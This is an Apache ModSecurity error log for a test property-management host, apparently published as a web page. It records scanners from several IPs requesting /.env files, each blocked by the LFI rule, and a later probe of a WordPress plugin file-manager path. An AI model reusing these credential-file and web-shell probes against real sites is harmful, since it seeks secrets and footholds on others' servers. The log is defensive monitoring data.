[Sun Mar 22 01:06:31.745363 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVixgAAAAc&quot;]
[Sun Mar 22 01:06:31.745562 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVixgAAAAc&quot;]
[Sun Mar 22 01:06:31.745698 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVixgAAAAc&quot;]
[Mon Mar 23 01:38:37.134956 2026] [:error] [pid 2879629] [client 129.212.227.251:60238] [client 129.212.227.251] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acCLjfKNlOG9kxaJyG31XwAAAAA&quot;]
[Mon Mar 23 01:38:37.135145 2026] [:error] [pid 2879629] [client 129.212.227.251:60238] [client 129.212.227.251] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acCLjfKNlOG9kxaJyG31XwAAAAA&quot;]
[Mon Mar 23 01:38:37.135271 2026] [:error] [pid 2879629] [client 129.212.227.251:60238] [client 129.212.227.251] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acCLjfKNlOG9kxaJyG31XwAAAAA&quot;]
[Mon Mar 23 03:07:45.274300 2026] [:error] [pid 2882123] [client 129.212.227.251:46646] [client 129.212.227.251] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acCgcfPs7E0zy4uIR_rfgQAAAAU&quot;]
[Mon Mar 23 03:07:45.274558 2026] [:error] [pid 2882123] [client 129.212.227.251:46646] [client 129.212.227.251] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acCgcfPs7E0zy4uIR_rfgQAAAAU&quot;]
[Mon Mar 23 03:07:45.274715 2026] [:error] [pid 2882123] [client 129.212.227.251:46646] [client 129.212.227.251] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acCgcfPs7E0zy4uIR_rfgQAAAAU&quot;]
[Tue Mar 24 04:42:52.697884 2026] [:error] [pid 2903629] [client 141.98.11.171:64068] [client 141.98.11.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acIIPPh9V2MFwMKkJZgKXAAAAAA&quot;]
[Tue Mar 24 04:42:52.698055 2026] [:error] [pid 2903629] [client 141.98.11.171:64068] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acIIPPh9V2MFwMKkJZgKXAAAAAA&quot;]
[Tue Mar 24 04:42:52.698248 2026] [:error] [pid 2903629] [client 141.98.11.171:64068] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acIIPPh9V2MFwMKkJZgKXAAAAAA&quot;]
[Tue Mar 24 04:42:52.735280 2026] [:error] [pid 2903629] [client 141.98.11.171:64068] [client 141.98.11.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acIIPPh9V2MFwMKkJZgKXQAAAAA&quot;]
[Tue Mar 24 04:42:52.735528 2026] [:error] [pid 2903629] [client 141.98.11.171:64068] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acIIPPh9V2MFwMKkJZgKXQAAAAA&quot;]
[Tue Mar 24 04:42:52.735717 2026] [:error] [pid 2903629] [client 141.98.11.171:64068] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acIIPPh9V2MFwMKkJZgKXQAAAAA&quot;]
[Wed Mar 25 12:46:30.963568 2026] [:error] [pid 2927241] [client 204.76.203.25:55826] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acPLFuO5b7pUQD7n2ABPQwAAAAA&quot;]
[Wed Mar 25 12:46:30.964897 2026] [:error] [pid 2927241] [client 204.76.203.25:55826] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acPLFuO5b7pUQD7n2ABPQwAAAAA&quot;]
[Wed Mar 25 12:46:30.965075 2026] [:error] [pid 2927241] [client 204.76.203.25:55826] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;acPLFuO5b7pUQD7n2ABPQwAAAAA&quot;]
[Thu Mar 26 22:30:54.105015 2026] [:error] [pid 3409015] [client 74.235.238.88:4448] [client 74.235.238.88] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/hellopress/wp_filemanager.php&quot;] [unique_id &quot;acWljqEurrahokAJoCU9DQAAAAE&quot;]
[Thu Mar 26 22:30:55.407735 2026] [:error] [pid 3536230] [client 74.235.238.88:4448] [client 74.235.238.88] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.html&quot;] [unique_id &quot;acWlj6m1OSasFA_JVN9M4QAAAAI&quot;]
[Thu Mar 26 22:30:55.503484 2026] [:error] [pid 3409015] [client 74.235.238.88:4448] [client 74.235.238.88] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0)</pre><center><hr width="920" color="black"/> <center>
</BODY>
</HTML>